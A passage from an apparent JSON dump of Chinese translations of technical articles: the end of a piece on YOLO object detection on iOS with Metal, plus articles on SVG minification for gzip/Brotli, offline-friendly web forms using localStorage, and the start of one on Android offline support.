32 位浮点数的二进制文件中。\n\n如果你好奇的话，看下这个转换脚本 [yolo2metal.py](https://github.com/hollance/Forge/blob/master/Examples/YOLO/yolo2metal.py) 可以了解更多。为了测试这个折叠工作，这个脚本生成了一个新的模型，这个模型没有批量归一化层而是用了调整之后的权重，然后和之前的模型的推测进行一个比较。\n\n## iOS 应用 ##\n\n毋庸置疑地，我用了 [Forge](https://github.com/hollance/Forge) 来构建 iOS 应用。\n 😂 你可以在 [YOLO](https://github.com/hollance/Forge/tree/master/Examples/YOLO) 的文件夹中找到代码。想试的话：下载或者 clone Forge，在 Xcode 8.3 或者更新的版本中打开 **Forge.xcworkspace** ，然后在 iPhone 6 或者更高版本的手机上运行 **YOLO** 这个 target 。\n\n测试这个应用的最简单的方法是把你的 iPhone 对准这些 [YouTube 视频](https://www.youtube.com/watch?v=e_WBuBqS9h8)上:\n\n[![简单的应用](http://machinethink.net/images/yolo/App.png)](http://machinethink.net/images/yolo/App@2x.png)\n\n有趣的代码是在 **YOLO.swift** 中。首先它初始化了卷积网络：\n\n```\nlet leaky = MPSCNNNeuronReLU(device: device, a: 0.1)\n\nlet input = Input()\n\nlet output = input\n         --> Resize(width: 416, height: 416)\n         --> Convolution(kernel: (3, 3), channels: 16, padding: true, activation: leaky, name: \"conv1\")\n         --> MaxPooling(kernel: (2, 2), stride: (2, 2))\n         --> Convolution(kernel: (3, 3), channels: 32, padding: true, activation: leaky, name: \"conv2\")\n         --> MaxPooling(kernel: (2, 2), stride: (2, 2))\n         --> ...and so on...\n\n```\n\n先把来自摄像头的输入缩放至 416x416 像素，然后输入到卷积和最大池化层中。这和其他的转换操作都非常相似。\n\n有趣的是在输出之后的操作。回想一下输出的转换之后是一个 13x13x125 的张量：图片中的每个网格的单元都有 125 个通道的数据。这 125 数据包含了边界框和类型的预测，然后我们需要以某种方式把输出排序。这些都在函数 `fetchResult()` 中进行。\n\n**注意：** `fetchResult()` 中的代码是在 CPU 中执行的，不是在 GPU 中。这样的方式更容易实现。话句话说，这个嵌套的循环在 GPU 中并行执行可能效果会更好。未来我也许会研究这个，然后再写一个 GPU 的版本。\n\n\n下面介绍了 fetchResult() 是如何工作的： \n\n```\npublic func fetchResult(inflightIndex: Int) -> NeuralNetworkResult<Prediction> {\n  let featuresImage = model.outputImage(inflightIndex: inflightIndex)\n  let features = featuresImage.toFloatArray()\n\n```\n\n在卷积层的输出是以 `MPSImage` 的格式的。我们先把它转换到一个叫做 features 的 Float 值类型的数组，以便我们更好的使用它。\n\n`fetchResult()` 的主体是一个大的嵌套循环。它包含了所有的网格单元和每个单元的五次预测：\n\n```\nfor cy in0..<13 {\n    for cx in0..<13 {\n      for b in0..<5 {\n         . . .\n      }\n    }\n  }\n\n```\n\n在这个循环里面，我们给网格单元 `(cy, cx)` 计算了边界框 `b` 。 \n\n首先我们从 `features` 数组中读取边界框的 x， y， width 和 height ，也包括确信值。\n\n```\nlet channel = b*(numClasses + 5)\nlet tx = features[offset(channel, cx, cy)]\nlet ty = features[offset(channel + 1, cx, cy)]\nlet tw = features[offset(channel + 2, cx, cy)]\nlet th = features[offset(channel + 3, cx, cy)]\nlet tc = features[offset(channel + 4, cx, cy)]\n\n```\n\n\n帮助函数 `offset()` 用来定位数组中合适的读取位置。Metal 以每次 4 个通道一组来把数据存在纹理片中，这意味着 125 个通道不是连续存储，而是分散存储的。（想深入分析的话可以去看源码）。\n\n我们仍然需要处理 `tx`， `ty`， `tw`， `th`， `tc` 这五个参数 ，因为它们的格式有点奇怪。如果你不知道这些处理方法哪来的话，可以看下这篇[论文](https://arxiv.org/abs/1612.08242) (这是训练这个神经网络的附加产物之一)。\n>译者注：这篇论文就是 YOLO 的作者写的。作者在训练的过程中形成了这篇论文，并作为训练过程的一个更详细的描述。\n\n```\nllet x = (Float(cx) + Math.sigmoid(tx)) * 32\nlet y = (Float(cy) + Math.sigmoid(ty)) * 32\n\nlet w = exp(tw) * anchors[2*b    ] * 32\nlet h = exp(th) * anchors[2*b + 1] * 32\n\nlet confidence = Math.sigmoid(tc)\n\n```\n\n现在 `x` 和 `y` 代表了在我们使用的输入到神经网络的 416x416 的图像中边界框的中心；\n`w` 和 `h` 则是上述图像空间中边界框的宽度和高度。边界框的确信值是 `tc` ，我们通过 sigmoid 函数把它转换到百分比。\n\n现在我们有了我们的边界框，并且我们知道了 YOLO 对这个框中是否包含着某个对象的确信度。接下来，让我们看下类型预测，来看看 YOLO 认为框中到底是个什么类型的物体：\n\n```\nvar classes = [Float](repeating: 0, count: numClasses)\nfor c in 0..< numClasses {\n  classes[c] = features[offset(channel + 5 + c, cx, cy)]\n}\nclasses = Math.softmax(classes)\n\nlet (detectedClass, bestClassScore) = classes.argmax()\n\n```\n\n重新调用 `features` 数组中包含着对边界框中物体预测的 20 个通道。我们读取到一个新的数组 `classes` 中。因为是用来做分类器的，我们通过 softmax 把这个数组转换成可能的分配情况，然后我们选择最高分数的类作为最后的胜者。\n\n现在我们可以计算边界框的最终分数了 - 举个例子，“这个边界框有 85% 的概率包含一条狗”。由于一共有 845 个边界框，而我们只想要那些分数高于某个值的边界框。\n\n```\nlet confidenceInClass = bestClassScore * confidence\nif confidenceInClass > 0.3 {\n  let rect = CGRect(x: CGFloat(x - w/2), y: CGFloat(y - h/2),\n                    width: CGFloat(w), height: CGFloat(h))\n\n  let prediction = Prediction(classIndex: detectedClass,\n                              score: confidenceInClass,\n                              rect: rect)\n  predictions.append(prediction)\n}\n\n```\n\n上面的代码是对网格内的每个单元进行循环。当循环结束后，我们通常会有了一个包含了 10 到 20 个预测 `predictions` 数组。\n\n我们已经过滤掉了那些低分数的边界框，但是仍然有些框的和其他的框有较多的重叠。因此，在最后一步我们需要在 `fetchResult()` 里面做的事叫做 *非极大抑制* ，用来去掉那些重复的框。\n\n```\nvar result = NeuralNetworkResult<Prediction>()\n  result.predictions = nonMaxSuppression(boxes: predictions,\n                                         limit: 10, threshold: 0.5)\n  return result\n}\n\n```\n\n`nonMaxSuppression()` 函数使用的算法很简单：\n\n1. 从那个最高分的边界框开始。\n2. 移除剩下所有与它重叠部分大于最小值的边界框（比如 大于 50%）。\n3. 回到第一步直到没有更多的边界框。\n\n这会移除那些有高分数但是和其他框有太多重复部分的框。只会保留最好的那些框。\n\n上面这些差不多就是这个意思：一个常规的卷积网络加上对结果的一系列处理。\n\n\n## 它表现的效果怎么样？ ##\n\n[YOLO 网站](https://pjreddie.com/darknet/yolo/)声称迷你版本的 YOLO 可以实现 200 帧每秒。但是当然这是在一个桌面级的 GPU 上，不是在移动设备上。所以在 iPhone 上它能跑多快呢？\n\n在我的 iPhone 6s 上面处理一张图片大约需要 **0.15 秒** 。帧率只有 6 ，这帧率基本满足实时的调用。如果你把你的手机对着开过的汽车，你可以看到有个边界框在车子后面不远的地方跟着它。尽管如此，我还是被这个技术深深的震惊了。 😁\n\n**注意：** 正如我上面所解释的，边界框的处理是在 CPU 而不是 GPU 上的。如果完全在 GPU 上运行是不是会更快呢？可能，但是 CPU 的代码只用了 0.03 秒， 20% 的运行时间。在 GPU 上处理一部分的工作是可行的，但是我不确定这样是否值得，因为转换层仍然占用了 80% 的时间。\n\n我认为慢的主要原因之一是由于卷积层包含了 512 和 1024 个输出通道。在我的实验中，似乎 `MPSCNNConvolution` 在处理多通道的小图片比少通道的大图片时更吃力。\n\n一个让我想去尝试的是采用不同的网络构建方式，比如 SqueezeNet ，然后重新训练网络来在最后一层进行边界框的预测。换句话说，采用 YOLO 的想法并将它在一个更小更快的转换之上实现。用准确度的下降来换取速度的提升的做法是否值得呢？\n\n**注意：** 另外，最近发布的 [Caffe2](http://caffe2.ai/) 框架同样是通过 Metal 来实现在 iOS 上运行的。[Caffe2-iOS 项目](https://github.com/KleinYuan/Caffe2-iOS)来自于迷你 YOLO 的一个版本。它似乎比纯 Metal 版本运行的慢 0.17 秒每帧。\n\n\n## 鸣谢 ##\n\n想了解更多关于 YOLO 的信息，看下以下由它的作者们写的论文吧：\n\n- [You Only Look Once: Unified, Real-Time Object Detection](https://arxiv.org/abs/1506.02640) by Joseph Redmon, Santosh Divvala, Ross Girshick, Ali Farhadi (2015)\n- [YOLO9000: Better, Faster, Stronger](https://arxiv.org/abs/1612.08242) by Joseph Redmon and Ali Farhadi (2016)\n\n我的实现是部分基于 TensorFlow 的 Android demo [TF Detect](https://github.com/tensorflow/tensorflow/tree/master/tensorflow/examples/android)， Allan Zelener 的[YAD2K](https://github.com/allanzelener/YAD2K/), 和 [Darknet的源码](https://github.com/pjreddie/darknet)。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/of-svg-minification-and-gzip.md",
    "content": "> * 原文地址：[Of SVG, Minification and Gzip](https://blog.usejournal.com/of-svg-minification-and-gzip-21cd26a5d007)\n> * 原文作者：[Anton Khlynovskiy](https://blog.usejournal.com/@subzey?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/of-svg-minification-and-gzip.md](https://github.com/xitu/gold-miner/blob/master/TODO/of-svg-minification-and-gzip.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[HuskyDoge](https://github.com/HuskyDoge), [atuooo](https://github.com/atuooo)\n\n# 从 Gzip 压缩 SVG 说起 — 论如何减小资源文件的大小\n\n![](https://cdn-images-1.medium.com/max/800/1*p926hOBc0YrbqPceYbLk0A.png)\n\n文件越小，意味着下载速度就越快。因此在向客户端发送资源文件前，使文件变得更小是件有益的事情。\n\n其实，精简与压缩资源文件不仅是一件很棒的事情，同时也是每一位现代开发者应该尽量去做的事情。但是，用于精简的工具通常无法做到完美精简；用于压缩的压缩器效果好坏会取决于用于压缩的数据。下面介绍一些小技巧与方法，用于调整这些工具，使其达到最好的工作状态。\n\n### 准备工作\n\n我们将以一个简单的 SVG 文件为例：\n\n![](https://cdn-images-1.medium.com/max/800/1*_ScxMaOWN_FCnKKJlQ3oQQ.png)\n\n这个`<svg>`图像的内容为一个 10x10 像素的区域（`viewBox`），其中包含了两个 6x6 的正方形（`<rect>`）。原始文件大小为 176 字节，经过 gzip 压缩过后大小为 138 字节。\n\n当然这个图像并没有什么艺术感，但它足以满足这篇文章想要表达的意思，并且防止这篇文章变成长篇大论。\n\n### 第 0 步：Svgo\n\n运行 `svgo image.svg` 直接进行压缩。\n\n![](https://cdn-images-1.medium.com/max/800/1*LwteS1LS9iPlpJOtllVqbA.png)\n\n**（为了便于阅读，为其添加了回车与缩进）**\n\n可以明显地看到，`rect` 被替换成了 `path`。`path` 路径形状由它的 `d` 属性定义，后面的一串命令类似于 canvas 的 draw 函数，控制一支虚拟的笔移动进行绘画。命令可以是绝对位移（移动**到** x,y），也可以是相对位移（向某方向移动 x,y）。请仔细观察其中的一条路径：\n\n`M 0 0`：路径起点为坐标`(0, 0)`\n`h 6`：水平向右移动 6 px\n`v 6`：垂直向下移动 6 px\n`H 0`：水平移动至 `x = 0`\n`z`：闭合路径 — 移回路径的起点\n\n这个路径画出的正方形是多么的精确！而且它比 `rect` 元素更加的紧凑。\n\n另外，`#f00` 被改成了 `red`，这儿也少了一个字节！\n\n现在文件大小为 135 字节，gzip 压缩过后为 126 字节。\n\n### 第 1 步：进行整体缩放\n\n你可能已经注意到了，两个路径中的所有坐标均为偶数。我们是否可以把它们都除以 2 呢？\n\n![](https://cdn-images-1.medium.com/max/800/1*LNM-zlZDg_s99ZxSOk6KYw.png)\n\n图像和之前看起来是一样的，但它缩小了两倍。因此，我们可以对 `viewBox` 进行缩放，使图像与之前一样大。\n\n![](https://cdn-images-1.medium.com/max/800/1*ci39eVsuha9jkXj-APDOXA.png)\n\n现在文件大小为 133 字节，gzip 压缩过后为 124 字节。\n\n### 第 2 步：使用非闭合路径\n\n回过头来看路径。两个路径中的最后一个命令都是 `z`，也就是“闭合路径”。但路径在填充的时候会被隐式地闭合，因此我们可以删除这些命令。\n\n![](https://cdn-images-1.medium.com/max/800/1*mBTPJaeMYpb1ekVmPzhuiA.png)\n\n又少了 2 字节，现在文件大小为 131 字节，gzip 压缩过后为 122 字节。从常识上说，原始字节数越少，能压缩的大小也越小。而现在我们已经在 svgo 之后节省了 4 个 gzip 字节了。\n\n**你可能会想：为什么 svgo 不自动进行这些优化呢？原因是缩放图像与删除尾部的 z 命令是不安全的。请看下面的例子：**\n\n![](https://cdn-images-1.medium.com/max/800/1*TV-Vc8ehkKYNkuVqgFJmoQ.png)\n\n这是一些有 stroke（路径宽度）的图形。从左至右分别为：原始图形、不闭合的情况、不闭合且进行缩放的情况。\n\n**线宽完全混乱了。庆幸的是，我们知道自己不需要使用线宽。但是 Svgo 并不知道这个情况，因此它必须要保证图形的安全，避免不安全的变换。**\n\n现在看起来不能从代码中删除任何东西了。XML 语法是严格的，现在所有的属性都是必须的，并且它们的值不能不加引号。\n\n你以为结束了？并不，这仅仅是个开始。\n\n### 第 3 步：减少出现的字母\n\n现在，让我来介绍一个非常方便的工具：[gzthermal](https://encode.ru/threads/1889-gzthermal-pseudo-thermal-view-of-Gzip-Deflate-compression-efficiency)。它可以分析需要进行 gzip 压缩的文件，并对进行编码的原始字节进行着色。更好压缩的字节是绿色，不好压缩的数据是红色，简单明了。\n\n![](https://cdn-images-1.medium.com/max/800/1*wrB-Z6jgspiHE8tculNVVw.png)\n\n请再次关注 `d` 属性，尤其是被标成红色的 M 命令值得注意。我们不能删除它，但我们可以用相对位移 `m2 2` 来代替它。\n\n初始的“指针”位置为坐标轴原点`(0, 0)`，因此移动**到**`(2, 2)`和从原点移动`(2, 2)`是同一个意思。让我们试试：\n\n![](https://cdn-images-1.medium.com/max/800/1*eogrWPzKTpjvhnkFhhPcZg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*Vk-9DDQMFoBraOaWAOF74Q.png)\n\n原始文件依然是 131 字节，但是经过 gzip 压缩过后大小仅有 121 字节了。发生了什么？答案是……\n\n#### 哈夫曼树（Huffman Trees）\n\nGzip 使用的是 [DEFLATE](https://en.wikipedia.org/wiki/DEFLATE) 压缩算法，而 DEFLATE 算法是以哈夫曼树为基础构建的。\n\n哈夫曼编码的核心思想就是使用更少的**比特**对出现次数更多的符号进行编码，反之亦然，出现次数很少的符号需要占用更多的比特。\n\n**没错，这儿说的是比特不是字节。DEFATE 算法会将一字节的字符视为一系列的比特，无论一字节包含 7、9、100 个比特，DEFLATE 算法都能一视同仁。**\n\n以字符串“Test”为例，根据它出现的字母来进行编码：\n`00` T\n`01` e\n`10` s\n`11` t\n\n对每个符号都进行过编码的字符串“Test”可以表示为：`00011011`，总共占 8 比特。\n\n然后我们把它开头的“T”改成小写“test”，再试一次：\n`0` t\n`10` e\n`11` s\n\n字母 t 出现了更多的次数，它的编码也变得更短，仅为 1 比特。这个字符串经过编码后为 `010110`，仅为 6 比特！\n\n* * *\n\n在我们的 SVG 中的 M 字母也一样。在将其变为小写之后，整个编码中都不包含大写的 M 了，可以将它从树上移除，因此平均编码长度可以更短。\n\n当你编写对 gzip 友好的代码时，应该更多地使用那些使用频率较高的字符。即使你不能将代码长度减短，但它经过压缩后消耗的比特数也会变少。\n\n### 第 4 步：回退引用（backreferences）\n\nDEFLATE 算法还有一个特性：回退引用。某些编码点不会直接进行编码，而是告诉解码器复制一些最近解码的字节。\n\n因此，它不需要对原始字节一次又一次地进行编码，而是可以直接引用：\n**向前返回 n 个字节，复制 m 个字节**\n例如：\n\n`Hey diddle diddle, the cat and the fiddle.`\n\n`Hey diddle**<7,7>**, the cat and**<12,5>**f**<24,5>**.`\n\n巧妙的是，gzthermal 还有一种只显示回退引用的特殊模式。\n`gzthermal -z` 会显示以下图像：\n\n![](https://cdn-images-1.medium.com/max/800/1*p3j1ITiSJDpNfV16YPRqng.png)\n\n普通文本字节为橙色，可回退引用的字节为蓝色。下面的动画更直观：\n\n![](https://github.com/subzey/svg-gz-supplement/blob/master/backrefs-animated.gif?raw=true)\n\n除了 fill 值、`m` 命令和最后的 `H` 命令外，第二条路径几乎全部都使用了回退引用。对于 fill 和 m 我们无能为力，因为第二个方块的确有着不同的颜色和位置。\n\n但是它们的形状是一样的，并且我们现在对 gzip 有了更加清晰的认识。因此，我们可以将绝对位移命令 `H0` 和 `H2` 都替换为相对位移命令：`h-3`。\n\n![](https://cdn-images-1.medium.com/max/800/1*oa2ts-oANaSS4hrIOlrXTg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*ye5f4jzIDt5YYbCeLHa37A.png)\n\n现在，两个分开的回退引用合为了一个，文件大小为 133 字节，gzip 后的大小为 119 字节。虽然我们在压缩前增加了 2 个字节，但 gzip 的结果又减少了 2 个字节！\n\n我们只需要关心压缩后的大小即可：在传送资源时，客户端 99.9% 用的是 gzip 或者 brotli。顺带说一下 brotli。\n\n### Brotli 压缩算法\n\n[Brotli](https://en.wikipedia.org/wiki/Brotli) 是于 2015 年推出的用于替换浏览器中 gzip（源自 1992）的算法。不过它与 gzip 在很多方面都有相似之处：它也是基于哈夫曼编码与回退引用的原理，因此我们前面为 gzip 所做的调整都可以同样利于 Brotli。最后让我们用 Brotli 应用于前面的所有步骤：\n\n原始文件大小：106 字节\n在第 0 步之后（svgo）：104 字节\n在第 1 步之后（viewBox）：105 字节\n在第 2 步之后（使用非闭合路径）：113 字节\n在第 3 步之后（小写 m）：116 字节\n在第 4 步之后（相关命令）：102 字节\n\n如你所见，最终的文件比 svgo 后的更小。这可以说明，之前我们为 gzip 做的酷炫的工作同样适用于 Brotli。\n\n但是，中间步骤的文件大小却是混乱的，Brotli 压缩后的文件变得更大了。毕竟，Brotli 并不是 gzip，它是一种单独的新算法。尽管与 gzip 有一些相似之处，但仍有所不同。\n\n其中最大的不同是，Brotli 内置了预定义字典，在编码时使用它进行上下文启发。此外，Brotli 的最小回退引用大小为 2 字节（gzip 仅能创建 3 字节及以上的回退引用）。\n\n可以说，Brotli 比 gzip 更加**难以预测**。我很想解释一下是什么导致了“压缩退化”，可惜 Brotli 并没有类似于 gzip 的 gzthermal 和 [defdb](https://encode.ru/threads/1428-defdb-a-tool-to-dump-the-deflate-stream-from-gz-and-png-files) 之类的工具。我只能靠[它的规范](https://tools.ietf.org/html/rfc7932) 以及试错的方法来进行调试。\n\n### 试错法\n\n让我们再试一次。这次将改变 `fill` 属性内的颜色。显然 `red` 比 `#f00` 更短，但也许 Brotli 会用更长的回退引用进行压缩。\n\n![](https://cdn-images-1.medium.com/max/800/1*MwGlmyjaYFlhUhxQ5d4xDA.png)\n\ngzip 压缩过后大小为 120 字节，Brotli 压缩过后为 100 字节。gzip 流长了 1 字节，Brotli 流短了 2 字节。\n\n此时，它在 Brotli 中表现更好，在 gzip 中表现更差。我觉得，这完全无碍！因为我们几乎不可能一次性将数据针对所有压缩器进行优化，并得到**最佳结果**。解决压缩器问题就像转一个糟糕的魔方，只能尽量优化。\n\n### 总结\n\n上面描述的所有的调整方法都不仅限于 SVG 压缩为 gzip 的情景。\n\n以下是一些可以帮助你写出更具备压缩性能的代码的准则：\n\n1.  压缩**更小的源数据**可能会得到更小的压缩数据。\n2.  **不同的字符越少**就意味着熵越少。而熵越小，压缩效果就越好。\n3.  频繁出现的字符会以更小的字节被压缩。**删除不常见字符**以及**使常见字符更常见**可以提高压缩效率。\n4.  **长段重复的代码**可以被压缩成几个字节。[DRY（“不要重复自己”原则）](https://zh.wikipedia.org/wiki/%e4%b8%80%e6%ac%a1%e4%b8%94%e4%bb%85%e4%b8%80%e6%ac%a1)不一定在任何情况下都是最好的选择，有时候**重复自己**反而能得到更好的结果。\n5.  有些时候更大的源数据反而可以得到更小的压缩数据。**减少熵**可以让压缩器更好地移除冗余的信息。\n\n你可以在 [此 GitHub repo](https://github.com/subzey/svg-gz-supplement/) 中找到以上所有资源、压缩过的图片以及其它资料。\n\n希望你喜欢这篇文章。下次我们将讨论如何压缩普通 JavaScript 代码与 Webpack bundle 中的 JavaScript 代码。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/offline-friendly-forms.md",
    "content": "\n> * 原文地址：[Offline-Friendly Forms](https://mxb.at/blog/offline-forms/)\n> * 原文作者：[mxbck](https://twitter.com/intent/follow?screen_name=mxbck)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/offline-friendly-forms.md](https://github.com/xitu/gold-miner/blob/master/TODO/offline-friendly-forms.md)\n> * 译者：[sunui](https://github.com/sunui)\n> * 校对者：[yanyixin](https://github.com/yanyixin)、[Tina92](https://github.com/Tina92)\n\n# 离线友好的表单\n\n网络不佳时网页表单的表现通常并不理想。如果你试图在离线状态下提交表单，那就很可能丢失刚刚填好的数据。下面就看看我们是如何修复这个问题的。\n\n太长，勿点：这里是本文的 [CodePen Demo](https://codepen.io/mxbck/pen/ayYGGO/)。\n\n随着 Service Workers 的推行，现在开发者们甚至可以实现离线版的网页了。静态资源的缓存相对容易，而像表单这样需要服务器交互的情况就很难优化了。即使这样，提供一些有用的离线回退方案还是有可能的。\n\n首先，我们为离线友好的表单创建一个新的类。接着我们保存一些 `<form>` 元素的属性然后绑定一个触发 submit 事件的函数：\n\n```\nclass OfflineForm {\n  // 配置实例。\n  constructor(form) {\n    this.id = form.id;\n    this.action = form.action;\n    this.data = {};\n    \n    form.addEventListener('submit', e => this.handleSubmit(e));\n  }\n}\n```\n\n在 submit 处理函数中，我们使用 `navigator.onLine` 属性内置一个简单的网络检查器。[浏览器对它的支持](http://caniuse.com/online-status/embed/)很好，而且实现它也不难。\n\n⚠️ 但它还是有一定[误报](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorOnLine/onLine)的可能，因为这个属性只能检查客户端是否连接到网络，而不能检测实际的网络连通性。另一方面，一个 `false` 值意味着“离线”是相对确定的。因此，比起其他方式这个判断方法是最好的。\n\n如果一个用户当前处于离线状态，我们就暂停表单的提交，把数据存储在本地。\n\n```\nhandleSubmit(e) {\n  e.preventDefault();\n  // 解析表单输入，存储到对象中\n  this.getFormData();\n  \n  if (!navigator.onLine) {\n    // 用户离线，在设备中存储数据\n    this.storeData();\n  } else {\n    // 用户在线，通过 ajax 发送数据 \n    this.sendData();\n  }\n}\n```\n\n## 存储表单数据\n\n存储数据到用户设备有[几种不同的方式](https://developer.mozilla.org/en-US/docs/Web/API/Storage)。根据数据的不同，如果你不希望本地副本持久存储在内存中，可以使用 `sessionStorage`。在我们的例子中，我们可以一起使用  `localStorage`。\n\n我们可以给表单数据附上时间戳，把它赋值给一个新的对象，并且使用 `localStorage.setItem` 保存。这个方法接受两个参数：**key**（表单 id）和 **value**（数据的 JSON 串）。\n\n```\nstoreData() {\n  // 检测 localStorage 是否可用\n  if (typeof Storage !== 'undefined') {\n    const entry = {\n      time: new Date().getTime(),\n      data: this.data,\n    };\n    // 把数据存储为 JSON 串\n    localStorage.setItem(this.id, JSON.stringify(entry));\n    return true;\n  }\n  return false;\n}\n```\n\n提示：你可以在 Chrome 的开发者工具 “Application” 中查看存储数据。如果不出差错，你可以看到内容如下：\n\n![](https://mxb.at/blog/offline-forms/devtools.png)\n\n通知用户发生了什么也是个好主意，这样他们会知道他们的数据不会丢失。我们可以扩展 `handleSubmit` 函数来显示某些反馈信息。\n\n![](https://mxb.at/blog/offline-forms/message.png)\n\n多么周到的表单！\n\n## 检查保存的数据\n\n一旦用户联网，我们想检查一下是否有被存储的提交。我们可以监听 `online` 事件来捕获网络链接的改变，还有页面刷新时的 `load` 事件：\n\n```\nconstructor(form){\n  ...\n  window.addEventListener('online', () => this.checkStorage());\n  window.addEventListener('load', () => this.checkStorage());\n}\n```\n\n```\ncheckStorage() {\n  if (typeof Storage !== 'undefined') {\n    // 检测我们是否在 localStorage 之中存储了数据\n    const item = localStorage.getItem(this.id);\n    const entry = item && JSON.parse(item);\n\n    if (entry) {\n      // 舍弃超过一天的提交。 （可选）\n      const now = new Date().getTime();\n      const day = 24 * 60 * 60 * 1000;\n      if (now - day > entry.time) {\n        localStorage.removeItem(this.id);\n        return;\n      }\n\n      // 我们已经验证了表单数据，尝试提交它\n      this.data = entry.data;\n      this.sendData();\n    }\n  }\n}\n```\n\n一旦我们成功提交了表单，那最后一步就是移除 `localStorage` 中的数据，来避免重复提交。假设是一个 ajax 表单，我们可以在服务器响应成功的回调里做这件事。很简单，这里我们可以使用 storage 对象的 `removeItem()` 方法。\n\n```\nsendData() {\n  // 向服务器发送 ajax 请求\n  axios.post(this.action, this.data)\n    .then((response) => {\n      if (response.status === 200) {\n        // 成功时移除存储的数据\n        localStorage.removeItem(this.id);\n      }\n    })\n    .catch((error) => {\n      console.warn(error);\n    });\n}\n```\n\n如果你不想使用 ajax 提交，另一个方案是将存储的数据回填到表单，然后调用 `form.submit()` 或让用户自己点击提交按钮。\n\n☝️ 注意：简单起见，我在这个案例中省略了一些其他部分，比如表单验证和安全 token 验证等，这些东西在真正的生产环境是必不可少的。这里的另一个问题是处理敏感数据，就是说你不能在本地存储一些密码或者信用卡数据等私密信息。\n\n如果你感兴趣，请查阅 [CodePen 上的全部示例](https://codepen.io/mxbck/pen/ayYGGO)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/offline-support-try-again-later-no-more.md",
    "content": "> * 原文地址：[Offline support: “Try again, later”, no more.](https://medium.com/@yonatanvlevin/offline-support-try-again-later-no-more-afc33eba79dc#.20vizj1qw)\n* 原文作者：[Yonatan V. Levin](https://medium.com/@yonatanvlevin)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[skyar2009](https://github.com/skyar2009)\n* 校对者：[phxnirvana](https://github.com/phxnirvana), [yazhi1992](https://github.com/yazhi1992)\n\n---\n\n# 离线支持：不再『稍后重试』。\n\n我很荣幸生活在一个 4G 网络和 Wifi 随处可见的国家，家中、公司、甚至我朋友公寓的地下室（都有网络）。\n尽管如此，我依然会遇到下面的问题：\n\n![](https://cdn-images-1.medium.com/max/800/1*7yb_YRDhcX6EJJNCzWvRKA.png)\n\n或者\n\n![](https://cdn-images-1.medium.com/max/800/1*6vn5yYlQjc98odN8cgKHaA.png)\n\n或许是手机在和我开玩笑吧……\n\n网络连接是我用过最不稳定的东西。95% 的情况下网络是正常工作的，我能流畅地欣赏喜欢的音乐，但是在电梯中发送消息则往往会失败。\n\n像我们程序员生存在良好的网络环境下这不是什么问题，但事实上这是个问题。甚至会伤害你的用户，尤其是他们最需要你的 App 时（详见[墨菲定律](https://en.wikipedia.org/wiki/Murphy%27s_law)）。\n\n作为一个 Android 用户，我注意到了在我安装的许多应用中都存在『重试』的问题。我努力做些什么改善这类问题，至少是在自己的应用中。\n\n关于离线支持有很多好的观点，例如 [Yigit Boyar](https://medium.com/@yigitboyar) 和他的[ IO talk](https://www.youtube.com/watch?v=70WqJxymPr8) (你甚至可以看到我在前排为他点赞)。\n\n---\n\n### 我们的宝贝应用\n\n![](https://cdn-images-1.medium.com/max/800/0*DByDLXS1jHbKUFM6.)\n\n最终，当我开始创办自己的公司 [KolGene](https://www.kolgene.com) 之后，我有了机会。大家都知道，创业公司首先需要构建一个 [MVP](https://en.wikipedia.org/wiki/Minimum_viable_product) 来验证假设的正确性。这个过程是如此的关键、艰难，任何一个环节都可能出错，甚至因为未联网问题而导致失去一个用户也是无法接受的。\n\n每失去一个用户都意味着我们的许多支出打了水漂。\n如果是因为应用使用体验差而离开，那也是不能接受的。\n\n我们的应用使用很简单：临床医生在手机应用上创建基因测试的请求；相关实验室将收到信息、提交试验结果；临床医生收到结果，并根据需要选择最好的结果。\n\n![](https://cdn-images-1.medium.com/max/600/1*9r3IDFmhfe5h0bBUeesSFg.gif)\n\n经过一系列 UX 